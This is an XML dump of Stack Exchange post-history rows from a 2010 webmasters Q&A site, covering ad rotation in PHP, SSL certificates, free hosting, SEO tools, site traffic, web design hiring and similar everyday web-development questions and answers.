  <row Id="5488" PostHistoryTypeId="2" PostId="2826" RevisionGUID="42173dcf-9a48-422c-87cf-79a30b0f5044" CreationDate="2010-09-06T19:45:40.363" UserId="745" Text="The simplest way is to use your server-side scripting language to randomly display either ad network one or ad network 2.&#xD;&#xA;&#xD;&#xA;With PHP, you could do something like:&#xD;&#xA;&#xD;&#xA;    $random = array_rand(array('Google', 'Wonderful'), 1);&#xD;&#xA;    &#xD;&#xA;    if ($random[0] == 'Google'){&#xD;&#xA;        //Display the Google ad code here&#xD;&#xA;    } else {&#xD;&#xA;        //Display the Project Wonderful code here&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;However, it's important to check the Terms of Use for each ad provider to see if the ad networks are compatible. Google, in particular, is a little feisty about what kind of ads they want used in conjunction with AdSense." />
  <row Id="5489" PostHistoryTypeId="2" PostId="2827" RevisionGUID="df4b61a2-6ce7-4080-aa08-6fa3702d8132" CreationDate="2010-09-06T20:13:30.817" UserId="1424" Text="is godaddy SSL standard certificate compatible with *all* browsers (chrome and safari on iphone, or android browsers included) ?&#xD;&#xA;&#xD;&#xA;http://www.godaddy.com/ssl/ssl-certificates.aspx?ci=8979&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="5490" PostHistoryTypeId="1" PostId="2827" RevisionGUID="df4b61a2-6ce7-4080-aa08-6fa3702d8132" CreationDate="2010-09-06T20:13:30.817" UserId="1424" Text="is godaddy SSL standard certificate compatible with *all* browsers ?" />
  <row Id="5491" PostHistoryTypeId="3" PostId="2827" RevisionGUID="df4b61a2-6ce7-4080-aa08-6fa3702d8132" CreationDate="2010-09-06T20:13:30.817" UserId="1424" Text="&lt;ssl-certificate&gt;" />
  <row Id="5492" PostHistoryTypeId="5" PostId="2827" RevisionGUID="b67d3224-7d88-49c7-8057-4d5ddc82520e" CreationDate="2010-09-06T20:33:13.603" UserId="1424" Comment="added 99 characters in body" Text="Could you answer to at least one of these questions:&#xD;&#xA;&#xD;&#xA;1) is godaddy SSL standard certificate compatible with *all* browsers (chrome and safari on iphone, or android browsers included) ?&#xD;&#xA;&#xD;&#xA;http://www.godaddy.com/ssl/ssl-certificates.aspx?ci=8979&#xD;&#xA;&#xD;&#xA;2) is it running on Apache servers ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="5493" PostHistoryTypeId="2" PostId="2828" RevisionGUID="a85a48ea-1a42-4087-82d7-e8c4e51a8a98" CreationDate="2010-09-06T20:36:33.937" UserId="1253" Text=" 1. Yes&#xD;&#xA; 2. Yes&#xD;&#xA;&#xD;&#xA;:)&#xD;&#xA;&#xD;&#xA;I use it for all of my clients' websites which are hosted on an Apache powered web server. I obviously wouldn't do that if it wasn't 100% compatible." />
  <row Id="5494" PostHistoryTypeId="2" PostId="2829" RevisionGUID="02d1f200-0185-4672-8d0c-4cd208d93f04" CreationDate="2010-09-06T20:38:57.780" UserId="1424" Text="What's a free web hosting service to show temporary beta versions of my Drupal websites online ?" />
  <row Id="5495" PostHistoryTypeId="1" PostId="2829" RevisionGUID="02d1f200-0185-4672-8d0c-4cd208d93f04" CreationDate="2010-09-06T20:38:57.780" UserId="1424" Text="What's a free web hosting service to show temporary beta versions of my Drupal websites online ?" />
  <row Id="5496" PostHistoryTypeId="3" PostId="2829" RevisionGUID="02d1f200-0185-4672-8d0c-4cd208d93f04" CreationDate="2010-09-06T20:38:57.780" UserId="1424" Text="&lt;web-hosting&gt;" />
  <row Id="5497" PostHistoryTypeId="2" PostId="2830" RevisionGUID="c36fca4a-7f66-44c7-a842-9b4e1baccc70" CreationDate="2010-09-06T20:58:53.020" UserId="1489" Text="You can serve em from your house and just use a service like dyndns to resolve a hostname to your IP address at home.  This is what I usually do myself.  &#xD;&#xA;&#xD;&#xA;To top it off, dd-wrt, tomato and some of the other router firmwares out there support these dynamic dns services and will automatically update your account for you regularly to make sure your IP address is set in their service to what it should be.  " />
  <row Id="5498" PostHistoryTypeId="2" PostId="2831" RevisionGUID="ea6e11b5-7843-4fe7-b91a-f9a10882f804" CreationDate="2010-09-06T22:24:23.117" UserId="1160" Text="[**UltraPanel PRO**][1]&#xD;&#xA;&#xD;&#xA;Strengths:&#xD;&#xA;&#xD;&#xA; - Has everything all the other CMS systems do, dynamic pages, dynamic editors, checkout system.&#xD;&#xA; - Has a backend interface even my 70 year old dad can use.&#xD;&#xA; - Can build a website easily in a day.&#xD;&#xA; - Is a PHP library set, not an MVC, so it is simple to inject 3rd party code wherever you want.&#xD;&#xA; - Its fast. 100/100 on google pagespeed if you keep your jscript organized and setup a static resource domain.&#xD;&#xA; - I wrote it from scratch so I avoided all the pitfalls other CMSs have. (also it makes it easy for me to make webpages, since I know the code.)&#xD;&#xA; - extremely detailed access log and user management.&#xD;&#xA;&#xD;&#xA;Weaknesses:&#xD;&#xA;&#xD;&#xA; - very low userbase (maybe 50 websites are running it now.)&#xD;&#xA; - closed-source and not free. &#xD;&#xA; - low developer support (I am the only one working on it.)&#xD;&#xA; - revision tracking works on a site by site basis&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ultrapanelpro.com/" />
  <row Id="5499" PostHistoryTypeId="16" PostId="2831" RevisionGUID="ea6e11b5-7843-4fe7-b91a-f9a10882f804" CreationDate="2010-09-06T22:24:23.117" UserId="-1" />
  <row Id="5500" PostHistoryTypeId="2" PostId="2832" RevisionGUID="096f3181-7a1a-439c-8c2f-87b75538a10c" CreationDate="2010-09-06T22:26:00.990" UserId="1064" Text="Sounds like you need to re-visit the tool(s) you're already using - the &quot;free SEO tools&quot; you find in the wild are hardly as accurate or useful as information made available by Google. (Though there is a certain amount of amusement in visiting the #2 search result for &quot;best SEO tool&quot;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I want to find out keywords that a&#xD;&#xA;&gt; site is optimized for by typing in a&#xD;&#xA;&gt; Url&#xD;&#xA;&#xD;&#xA;Go to the [Adwords Keyword Tool][1] and, in the Website field, enter the URL.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; I want to find out competition (a&#xD;&#xA;&gt; number) for a given phrase or keyword&#xD;&#xA;&gt; - Google Jeyword tool gives a visual bar. I need a number so I can sort the&#xD;&#xA;&gt; data in Excel&#xD;&#xA;&#xD;&#xA;Try &quot;estimated CPC&quot; (which reflects the ***economic*** competition - why bother optimizing for key phrases which aren't worth money?) ...&#xD;&#xA;&#xD;&#xA;... or use the **Download &gt; CSV for Excel** option and presto, that graphical column is converted into a numeric value.&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer" />
  <row Id="5501" PostHistoryTypeId="2" PostId="2833" RevisionGUID="f67aace6-7909-4199-a020-b43ab7f7a100" CreationDate="2010-09-06T22:39:35.393" UserId="1160" Text="Say for example I have a website that has finished BETA and is ready for full launch. I'm at the stage now I want it to be *very* visible to start getting traffic. Right now, I am just getting some random search engine hits, word of mouth and a few referrals.&#xD;&#xA;&#xD;&#xA;How do I break out of this and really get some serious traffic to my site? Do I need to launch a huge ad-campaign? If so, what is the best/most cost effective way to do this? I have tried google adwords but at $0.45+ a click this jsut isn't practical for what I have." />
  <row Id="5502" PostHistoryTypeId="1" PostId="2833" RevisionGUID="f67aace6-7909-4199-a020-b43ab7f7a100" CreationDate="2010-09-06T22:39:35.393" UserId="1160" Text="What is the best way to launch a website to make it go viral?" />
  <row Id="5503" PostHistoryTypeId="3" PostId="2833" RevisionGUID="f67aace6-7909-4199-a020-b43ab7f7a100" CreationDate="2010-09-06T22:39:35.393" UserId="1160" Text="&lt;seo&gt;&lt;advertising&gt;&lt;traffic&gt;" />
  <row Id="5504" PostHistoryTypeId="2" PostId="2834" RevisionGUID="c92a5235-9a2d-4bf6-93d6-3dd89970df16" CreationDate="2010-09-06T23:26:18.280" UserId="1160" Text="I'm looking for features in websites that I may not have seen before that are unique, and are *excellent features* that not only improve the user-experience, but help the surfers come back for more. &#xD;&#xA;&#xD;&#xA;Such as:&#xD;&#xA;&#xD;&#xA; - StackOverflow's status update banner (seriously now this is awesome.)&#xD;&#xA; - RSS feeds (when they were new)&#xD;&#xA; - Hotlinks to social networks (facebook, twitter, etc..)&#xD;&#xA; - Auto-posting to social networks (popup and auto-post link/content)&#xD;&#xA; - Mobile phone integration&#xD;&#xA; - OpenID login passthrough&#xD;&#xA; - AJAX push/pull technology for content updates&#xD;&#xA; - tinyUrl and others that concatenate URLS shorter.&#xD;&#xA;&#xD;&#xA;I can think of many more, but if there is something you've seen that is unique to a site or isn't very well known, I'd love to know." />
  <row Id="5505" PostHistoryTypeId="1" PostId="2834" RevisionGUID="c92a5235-9a2d-4bf6-93d6-3dd89970df16" CreationDate="2010-09-06T23:26:18.280" UserId="1160" Text="What features in a website make you want to revisit?" />
  <row Id="5506" PostHistoryTypeId="3" PostId="2834" RevisionGUID="c92a5235-9a2d-4bf6-93d6-3dd89970df16" CreationDate="2010-09-06T23:26:18.280" UserId="1160" Text="&lt;website-features&gt;&lt;api&gt;" />
  <row Id="5507" PostHistoryTypeId="16" PostId="2834" RevisionGUID="c92a5235-9a2d-4bf6-93d6-3dd89970df16" CreationDate="2010-09-06T23:26:18.280" UserId="1160" />
  <row Id="5508" PostHistoryTypeId="2" PostId="2835" RevisionGUID="7ee6a91a-0bd9-4309-8390-33c8f169e059" CreationDate="2010-09-06T23:31:13.020" UserId="1253" Text="None of those features would encourage me to revisit a website. They're nice and all but they don't offer me any incentive to *want* to come back. (RSS may get me to come back but only because I see new content I may be interested in, not because the site uses RSS).&#xD;&#xA;&#xD;&#xA;Stuff that does make me want to come back:&#xD;&#xA;&#xD;&#xA; - **Rewards** - The point system as the stackexchange sites are an example of a reward. I get points for doing something that helps the community grow (i.e. provide good questions and answers).&#xD;&#xA;&#xD;&#xA; - **Fresh &amp; interesting content** - I won't come back for any &quot;wow factor&quot; as that wears off quickly (usually after the first visit). I will come back for new content that I find interesting, useful, and/or amusing.&#xD;&#xA;&#xD;&#xA; - **Benefits** - I don't mean the website offers me health insurance! By participating in a website I somehow benefit from it. Example: I write articles for a website, I know get to say I am a published author. I participate in a forum and achieve a high status, I get to say I am an expert in whatever topic I cover and/or I can drum up some business for myself." />
  <row Id="5509" PostHistoryTypeId="16" PostId="2835" RevisionGUID="7ee6a91a-0bd9-4309-8390-33c8f169e059" CreationDate="2010-09-06T23:31:13.020" UserId="-1" />
  <row Id="5510" PostHistoryTypeId="2" PostId="2836" RevisionGUID="4668bd45-b20b-46b5-a51f-92c0f09bc37f" CreationDate="2010-09-06T23:49:05.180" UserId="1253" Text="You have no control over whether or not a website, or anything, goes viral. Going viral is a phenomena where something gets insanely popular (usually) for no apparent reason. Anyone advertising a product/service/website hopes their ad and product go viral but it happening is out of their control. It's more a freak occurance then a created result.&#xD;&#xA;&#xD;&#xA;How you get traffic to your website will vary on the website and its target audience. Without knowing that it's hard to give specific recommendations. But some generalizations that you may wish to try include:&#xD;&#xA;&#xD;&#xA; - Search advertising (Adwords) - If the genre your site is in is very competitive avoid the common search terms and go for long tail searches. Your costs will be lower and your ads will be even better targeted and result in a higher conversion rate.&#xD;&#xA; - Paid advertising on related websites - Putting a text or banner ad on a related website will promote your site to your target audience. If you advertise on a popular website this can drive a lot of traffic to your site and may be less costly then Adwords.-&#xD;&#xA; - Participate in forums and communities related to your topic. **Do not spam them**. Participate as a regular contributer and be sure to put your website in your signature. Assuming you are a regular participant and offer good contributions the other members will be likely to visit your link. (digitalpoint.com forums got started this way by participating at sitepoint.com forums).-&#xD;&#xA; - Comment on related blogs - Similar to above but you comment on related blogs. Once again, do not spam them and offer good contributions.-&#xD;&#xA; - Attempt to get a related website to review your website and publish the results on their website - This basically amounts to free advertising assuming your website is good and they review it as such.&#xD;&#xA;&#xD;&#xA;Directory submissions should be done but they won't really drive any traffic to your website. Using social networks can be done as well, but don't expect too much from them either (but definitely have a twitter account so you can follow any talk about your website).&#xD;&#xA;&#xD;&#xA;And, as always, be patient. Sites don't get popular overnight. It takes time to get the word out and build up a following. Good websites are eventually rewarded with good traffic." />
  <row Id="5511" PostHistoryTypeId="5" PostId="2767" RevisionGUID="b650edc8-ccb3-4523-8dd3-939d01dd76c9" CreationDate="2010-09-07T00:09:09.170" UserId="100" Comment="made the aside and section stick out." Text="You want to use `&lt;article&gt;` for Blog posts. Mark Pilgrim has a really good [explanation][1] of how to use each tag. He also explains how to mark-up the `article` just below the list of definitions on his site. This is a fantastic book for learning HTML 5 and CSS.&#xD;&#xA;&#xD;&#xA;&quot;The article element represents a component of a page that consists of a self-contained composition in a document, page, application, or site and that is intended to be independently distributable or reusable, e.g. in syndication.&quot;&#xD;&#xA;&#xD;&#xA;`Aside` is for &quot;tangentially related&quot; elements and the `section` represents &quot;represents a generic document or application section.&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintohtml5.org/semantics.html#new-elementsBlockquote" />
  <row Id="5512" PostHistoryTypeId="2" PostId="2837" RevisionGUID="22c9efb1-4b8b-45c1-8a86-f0472d2180df" CreationDate="2010-09-07T02:07:33.807" UserId="576" Text="Try [DreamHost][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dreamhostapps.com/free-drupal-hosting.html" />
  <row Id="5513" PostHistoryTypeId="2" PostId="2838" RevisionGUID="a24b6340-b63c-4095-b958-b94b923e63a2" CreationDate="2010-09-07T03:24:48.657" UserId="1762" Text="I've yet to find the ultimate resource that lists 'all' browsers and the actual visible canvas size (excludes browser chrome) for content. The closest was a table in the O'reilly book Web Design in a Nutshell:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The one thing is that this doesn't have the latest browsers.  I figured that this community would be a good place to gather this info.&#xD;&#xA;&#xD;&#xA;I'll start by adding some:&#xD;&#xA;&#xD;&#xA;**Mac:**&#xD;&#xA;&#xD;&#xA;1024 x 768&#xD;&#xA;&#xD;&#xA; - Safari 5.0 - 1012 x 656 (w/ tabs) &#xD;&#xA; - Chrome 6.0 - 1010 x 672&#xD;&#xA; - Firefox 3.5 - 1009 x 654 (w/ tabs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/RBsOh.png" />
  <row Id="5514" PostHistoryTypeId="1" PostId="2838" RevisionGUID="a24b6340-b63c-4095-b958-b94b923e63a2" CreationDate="2010-09-07T03:24:48.657" UserId="1762" Text="Screen resolutions and browser canvas sizes" />
  <row Id="5515" PostHistoryTypeId="3" PostId="2838" RevisionGUID="a24b6340-b63c-4095-b958-b94b923e63a2" CreationDate="2010-09-07T03:24:48.657" UserId="1762" Text="&lt;browsers&gt;" />
  <row Id="5516" PostHistoryTypeId="16" PostId="2838" RevisionGUID="a24b6340-b63c-4095-b958-b94b923e63a2" CreationDate="2010-09-07T03:24:48.657" UserId="1762" />
  <row Id="5517" PostHistoryTypeId="2" PostId="2839" RevisionGUID="80e741c3-8920-46d8-bdad-db43db910305" CreationDate="2010-09-07T03:35:22.680" UserId="1872" Text="I've been a freelance developer for nearly a decade, but have no desire to do web design. Most of the projects I get are maintenance-type projects that require only minor tweaks to existing graphics, or someone coming in with a new design already on hand. However, on rare occasions I get a request to do both programming and design. I've no problem farming out the work to capable designers, but I don't do enough design work to maintain any working relationships with any one particular designer. So what is the best way to shop around for a good designer? I'm willing to pay more to get good quality work (i.e. you won't find me asking on craigslist for free design work &quot;to boost your portfolio&quot;).&#xD;&#xA;&#xD;&#xA;For designers, what do you expect when a new client contacts you? (what do you expect in terms of information for the project, and what do you expect to be paid for conceptual work? For final design work?)&#xD;&#xA;&#xD;&#xA;For developers, what has worked for you in the past?&#xD;&#xA;&#xD;&#xA;I once tried this approach: http://bit.ly/9aiCBK. It worked fine for the project at hand (the client was willing to pay quite a bit for design services), but I wonder in hind sight if it was too much (or too little). Thoughts?" />
  <row Id="5518" PostHistoryTypeId="1" PostId="2839" RevisionGUID="80e741c3-8920-46d8-bdad-db43db910305" CreationDate="2010-09-07T03:35:22.680" UserId="1872" Text="What's the best (fairest) way to select a web designer?" />
  <row Id="5519" PostHistoryTypeId="3" PostId="2839" RevisionGUID="80e741c3-8920-46d8-bdad-db43db910305" CreationDate="2010-09-07T03:35:22.680" UserId="1872" Text="&lt;website-design&gt;" />
  <row Id="5520" PostHistoryTypeId="5" PostId="2839" RevisionGUID="22ea744d-006e-4f50-8dd8-0327ed2ed8b4" CreationDate="2010-09-07T03:44:50.187" UserId="1872" Comment="removing link and embedding quoted text directly" Text="I've been a freelance developer for nearly a decade, but have no desire to do web design. Most of the projects I get are maintenance-type projects that require only minor tweaks to existing graphics, or someone coming in with a new design already on hand. However, on rare occasions I get a request to do both programming and design. I've no problem farming out the work to capable designers, but I don't do enough design work to maintain any working relationships with any one particular designer. So what is the best way to shop around for a good designer? I'm willing to pay more to get good quality work (i.e. you won't find me asking on craigslist for free design work &quot;to boost your portfolio&quot;).&#xD;&#xA;&#xD;&#xA;For designers, what do you expect when a new client contacts you? (what do you expect in terms of information for the project, and what do you expect to be paid for conceptual work? For final design work?)&#xD;&#xA;&#xD;&#xA;For developers, what has worked for you in the past?&#xD;&#xA;&#xD;&#xA;I once tried this approach:&#xD;&#xA;&#xD;&#xA;&gt; I'd like to commission some low-res, high-level design ideas from you. Something the represents what you have in mind for the project, but it doesn't have to be a production-ready design (watermarks, copyright, etc. are OK as long as they aren't distracting) . I will pay you US$200 for your time regardless of whether your idea is selected. Feel free to submit more than one idea if you would like. Again, I'm only asking for ideas, not complete designs. &#xD;&#xA;&gt; &#xD;&#xA;&gt; Once I have all of the ideas, I will run all of them by my client and he will choose the one he likes the most. If your idea is selected, I will hire you at a rate of US$1000 for the project (50% up front and the remainder on sign-off). For that price I will expect you to work with me over the next 4 weeks to tweak and finalize the over-all design for the site as well as help me organize information for each of the pages (about 13 pages total) and create a nice visual presentation. The client will be providing most of the copy text; you will be provide the conversion of the final design to HTML (including CSS; I can help with any JavaScript).&#xD;&#xA;&#xD;&#xA;It worked fine for the project at hand (the client was willing to pay quite a bit for design services), but I wonder in hind sight if it was too much (or too little). Thoughts?" />
  <row Id="5521" PostHistoryTypeId="2" PostId="2840" RevisionGUID="ae1f8923-6356-4688-9bb2-7cf3151ab5bf" CreationDate="2010-09-07T04:17:18.000" UserDisplayName="delete" Text="I would like to know if there is any quiz software like The Guardian's, e.g.:&#xD;&#xA;&#xD;&#xA;http://www.guardian.co.uk/world/quiz/2010/aug/24/1&#xD;&#xA;&#xD;&#xA;Features needed are&#xD;&#xA;&#xD;&#xA;* the ability to feed in a variable list of questions&#xD;&#xA;* the ability to show the answers to the questions on the question form itself&#xD;&#xA;* the option to see the answers or try again (with the previous answers inserted)&#xD;&#xA;* show the users their score" />
  <row Id="5522" PostHistoryTypeId="1" PostId="2840" RevisionGUID="ae1f8923-6356-4688-9bb2-7cf3151ab5bf" CreationDate="2010-09-07T04:17:18.000" UserDisplayName="delete" Text="Quiz software like The Guardian's?" />
  <row Id="5523" PostHistoryTypeId="3" PostId="2840" RevisionGUID="ae1f8923-6356-4688-9bb2-7cf3151ab5bf" CreationDate="2010-09-07T04:17:18.000" UserDisplayName="delete" Text="&lt;recommendations&gt;" />
  <row Id="5524" PostHistoryTypeId="2" PostId="2841" RevisionGUID="6e1acd83-b03f-4e35-a654-544ffb2f8bd9" CreationDate="2010-09-07T04:29:52.277" UserId="1074" Text="I'm lucky in that I met a designer through a previous job and was able to take him with me to another full-time job and recently employ him on larger freelance projects.  And, in a previous life I WAS a designer...&#xD;&#xA;&#xD;&#xA;To me, number one is a good eye for what's current and a great feel for what the client wants.  Yes, this is about as subjective as it can get.  But, if you've got a guy who can turn &quot;make it clean&quot; or &quot;give me texture&quot; into a final product that's visually attractive, the work is yours...and the maintenance...and the next job...you get the picture.  If you come across someone with the same 10 things repeated over their entire portfolio, move on.  There's just too many people spitting out repetitive, glossy, mirrored garbage with huge fonts to waste your time there.  This person is putting a face on your work....the client will often put more emphasis on design than the code that makes it all work, so choose carefully.&#xD;&#xA;&#xD;&#xA;I ask all my designers to go through design iterations with wireframes, color palettes, a formal design brief and layered, packaged comps.  If time gets tight and I trust the designer (there's only one so far) I will also pay him to do cutup and assembly.  Layers are important, as that's what you'll have to go back to when the client inevitably changes their mind about something.  I've been at firms where an outside designer will contract us to turn a flat image into a website, and it becomes a game of &quot;how much more can we run up his bill&quot;  When you're PAYING the bill, it's no longer a fun game.&#xD;&#xA;&#xD;&#xA;While my contracting work is largely a solo project, I will always put a hired designer in front of the client.  I choose people who can &quot;talk the talk&quot; and will interface well....and it tells my client that I'm bringing an expert who is going to be another stakeholder in the process.  A true professional will make you look BETTER.  This is just another reason that the people who take the low-ball Craigslist jobs are doing our industry such a disservice.&#xD;&#xA;&#xD;&#xA;As for pay, it depends on who I'm working with.  For a recent job, I've contracted the designer for wireframes, 3 &quot;flat&quot; concepts and 1 final design with 2 rounds of client revisions.  He'll interface with the client during concepting meetings, create the work, defend the work, then revise.  Because this is a pretty important site, I'll handle cutup myself.  He works hourly, having given me an estimate that I can hold him to.  Should we get to a major change order, we've already agreed upon an hourly rate that I'll pass on to the client.  Otherwise, I'll tweak accordingly.  Because I have a good working relationship and a level of trust built up, he understands that I'm not out to screw him and will cut him in should the contract somehow go south.  Putting things in writing...more so for the client...can make things a lot easier both on billing and compensating the designer.  On smaller jobs I'll offer a flat rate for all design services and put the pressure on the designer to kick out quick, quality work to maximize their profits.  On one HUGE job, I had the designer contract as a separate phase of work directly with the client (again, trust was key)&#xD;&#xA;&#xD;&#xA;When looking for a designer, start your search with people who do interactive design as opposed to print.  Schools teach Illustrator and InDesign first, which allows pixel perfect rendering....we all know that IE throws that concept out the window.  You need someone who understands the box model, gets that gradients over non-repeating patterns can cause UI guys nightmares, and knows why ITF rounded sans isn't available to every browser.  More often than not, that's not a print designer.  A great place to start is the local branch of IxDA.  Then, call local web firms and ask who does their overflow.  Or, network with your &quot;competition&quot; to see if they have a common designer that they share (and recommend)&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="5525" PostHistoryTypeId="2" PostId="2842" RevisionGUID="a96b3951-291b-4425-88e3-b82b06176bf5" CreationDate="2010-09-07T04:58:58.910" UserId="138" Text="What makes me come back to a website? Simple. Did I find what I was looking for?&#xD;&#xA;&#xD;&#xA;I don't give a toss if it's got RSS or AJAX or is HTML5 compliant. I don't care if it has streaming media, I don't care if supports OpenID (although a well-thought-out registration process is a huge bonus, but a topic for another day). And I absolutally despise URL shorteners.&#xD;&#xA;&#xD;&#xA;You need to focus on your content before worrying about **anything** else. There were thousands of website that dissapeared during the dot-com boom that looked great and were swishy, but dissapeared overnight because they didn't have the content that people were looking for.&#xD;&#xA;&#xD;&#xA;Don't misjudge your market. Your users aren't stupid and are most likely not going to be wow'd by nice graphics and fancy CSS and cross-browser compatibility if what they're looking for isn't there." />
  <row Id="5526" PostHistoryTypeId="16" PostId="2842" RevisionGUID="a96b3951-291b-4425-88e3-b82b06176bf5" CreationDate="2010-09-07T04:58:58.910" UserId="-1" />
  <row Id="5527" PostHistoryTypeId="5" PostId="2823" RevisionGUID="3793311e-f399-47c3-958d-63b4faed77c8" CreationDate="2010-09-07T07:47:42.083" UserId="586" Comment="Cross-posted" Text="(Cross-posted to [Web Applications][1])&#xD;&#xA;&#xD;&#xA;I've [posted it once][2] to the adsense ad forum, but as usual Google does not respond to help requests, and I got no real answers.&#xD;&#xA;&#xD;&#xA;I am having issues integrating my Adsense and Analytics accounts. The accounts seem integrated from Adsense (I get a working &quot;go to analytics&quot; link), but all the analytics are flatlined - they show zero revenues although they are non-zero.&#xD;&#xA;&#xD;&#xA;What can I do to resolve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/questions/6493/problem-integrating-adsen-with-google-analytics&#xD;&#xA;  [2]: http://www.google.com/support/forum/p/AdSense/thread?tid=1cb907196596459c&amp;hl=en" />
  <row Id="5528" PostHistoryTypeId="2" PostId="2843" RevisionGUID="8ec61d76-2706-4f17-bcfe-d0e920275fe3" CreationDate="2010-09-07T08:18:32.310" UserId="1873" Text="For CodeIgniter / Expression Engine users and developers I found [@CodeignitEE][1] to be a valuable resource.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://twitter.com/codeignitee" />
  <row Id="5529" PostHistoryTypeId="16" PostId="2843" RevisionGUID="8ec61d76-2706-4f17-bcfe-d0e920275fe3" CreationDate="2010-09-07T08:18:32.310" UserId="-1" />
  <row Id="5530" PostHistoryTypeId="2" PostId="2844" RevisionGUID="94a21f1f-a939-4ae2-8eee-54a5ec6a207f" CreationDate="2010-09-07T08:26:15.647" UserId="1874" Text="Could you,advise,me,please bulletin board engine,designed in Java.&#xD;&#xA;&#xD;&#xA;UI part - JSP,JSF ...&#xD;&#xA;&#xD;&#xA;Preferable, with using Spring and Hibernate or other frameworks.&#xD;&#xA;&#xD;&#xA;Will be better, if it's free.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;" />
  <row Id="5531" PostHistoryTypeId="1" PostId="2844" RevisionGUID="94a21f1f-a939-4ae2-8eee-54a5ec6a207f" CreationDate="2010-09-07T08:26:15.647" UserId="1874" Text="Bulletin board Java,JSP(or JSF) engine" />
  <row Id="5532" PostHistoryTypeId="3" PostId="2844" RevisionGUID="94a21f1f-a939-4ae2-8eee-54a5ec6a207f" CreationDate="2010-09-07T08:26:15.647" UserId="1874" Text="&lt;cms&gt;" />
  <row Id="5533" PostHistoryTypeId="2" PostId="2845" RevisionGUID="996b82a0-5e6b-4366-b44a-4d7e88669371" CreationDate="2010-09-07T08:34:59.323" UserId="102" Text="For a website to go viral it will help if you tick a few boxes in the human psyche.&#xD;&#xA;&#xD;&#xA;*1. Is the site easy to use?* If the user has to think about how to use it, they won't tell anyone about it. Make sure the site is accessible.&#xD;&#xA;&#xD;&#xA;*2. Does the user get a sense of satisfaction from using the site?* If the user doesn't feel good using the site, they won't tell anyone else about it.&#xD;&#xA;&#xD;&#xA;*3. Is there a compelling reason for them to come back to the site?* If the user has got all they need from the site in one visit, they will not bookmark it and will then forget it.&#xD;&#xA;&#xD;&#xA;*4. Is it easy for them to spread the word?* Don't expect anyone to go out of their way to tell anyone else about the site. Why would they want other to know about the site? Is it easy for them to tweet / blog / talk about what your site does? Is it clear what the site is about?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5534" PostHistoryTypeId="2" PostId="2846" RevisionGUID="6e4f0f95-9ff2-4b2b-bb24-74ab85b49c3c" CreationDate="2010-09-07T09:46:16.180" UserId="233" Text="This doesn't directly answer your question but one tool that I have found useful for a good overview of competitor sites is the [Open Site Explorer][1]. It gives you an estimated domain authority and shows who is linking to you and/or your competitors.&#xD;&#xA;&#xD;&#xA;(You may need to register at SEOmoz to use it but it's a free account.)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/" />
  <row Id="5535" PostHistoryTypeId="2" PostId="2847" RevisionGUID="9d47b201-3712-42d1-a21b-fb5e6d017567" CreationDate="2010-09-07T10:20:08.917" UserId="1204" Text="Such a list would not be overly useful as the viewport can vary greatly between users even with the same screen size because:&#xD;&#xA;&#xD;&#xA;1. They have different toolbars installed, and/or different settings for the default toolbars (large icons or small for instance)&#xD;&#xA;2. Some browser themes alter the heights of elements like toolbars&#xD;&#xA;3. Not everyone runs their browser maximized, so the browser's viewport could really be *any* size&#xD;&#xA;&#xD;&#xA;Also the range of screen sizes varies much more now than it used to. Long gone are the days when is was unusual to see much other than 800x600 or 1024x768. There are a number of common wide-screen formats and small-format screens (i.e. those on netbooks and smartphones) are increasingly likely to be used to view your pages.&#xD;&#xA;&#xD;&#xA;Rather than designing around the viewport of a selection of specific examples (IE8 default, FF3.6 defaults, FF3.6 default but no tabs...) you should design for a reasonably full range, making sure your page doesn't fall apart completely on small screens nor become to wide to be comfortable readable on large wide screens. This does mean that pixel perfect positioning is an ideal you need to let go of, but it makes your content usable in the widest possible combination of conditions." />
  <row Id="5536" PostHistoryTypeId="16" PostId="2847" RevisionGUID="9d47b201-3712-42d1-a21b-fb5e6d017567" CreationDate="2010-09-07T10:20:08.917" UserId="-1" />
  <row Id="5537" PostHistoryTypeId="2" PostId="2848" RevisionGUID="b9f8423c-0395-49aa-ab75-c6e081e6001e" CreationDate="2010-09-07T10:34:19.123" UserId="1876" Text="My new partner has an email list with over 1 Million email addresses for targeted traffic (no spam... only genuine subscribers from his last startup )&#xD;&#xA;But now I have a problem.. how can I sent an email to all those email addresses ?&#xD;&#xA;&#xD;&#xA;I can't use my ISP SMTP mailer, they will block me immediately for bulk mailing.&#xD;&#xA;&#xD;&#xA;I thought of a way to send emails slowly . Like dividing them in sets of few thousands and sending to each set daily .&#xD;&#xA;&#xD;&#xA;Will it be fine solution ?" />
  <row Id="5538" PostHistoryTypeId="1" PostId="2848" RevisionGUID="b9f8423c-0395-49aa-ab75-c6e081e6001e" CreationDate="2010-09-07T10:34:19.123" UserId="1876" Text="Safe way to send thousands of promotional emails ." />
  <row Id="5539" PostHistoryTypeId="3" PostId="2848" RevisionGUID="b9f8423c-0395-49aa-ab75-c6e081e6001e" CreationDate="2010-09-07T10:34:19.123" UserId="1876" Text="&lt;spam&gt;&lt;bulk-email&gt;&lt;marketing&gt;" />
  <row Id="5540" PostHistoryTypeId="4" PostId="2823" RevisionGUID="73431368-821f-4004-b42a-4ec0dcb53d1e" CreationDate="2010-09-07T10:46:54.993" UserId="233" Comment="fixed title" Text="Problem integrating Adsense with Google Analytics" />
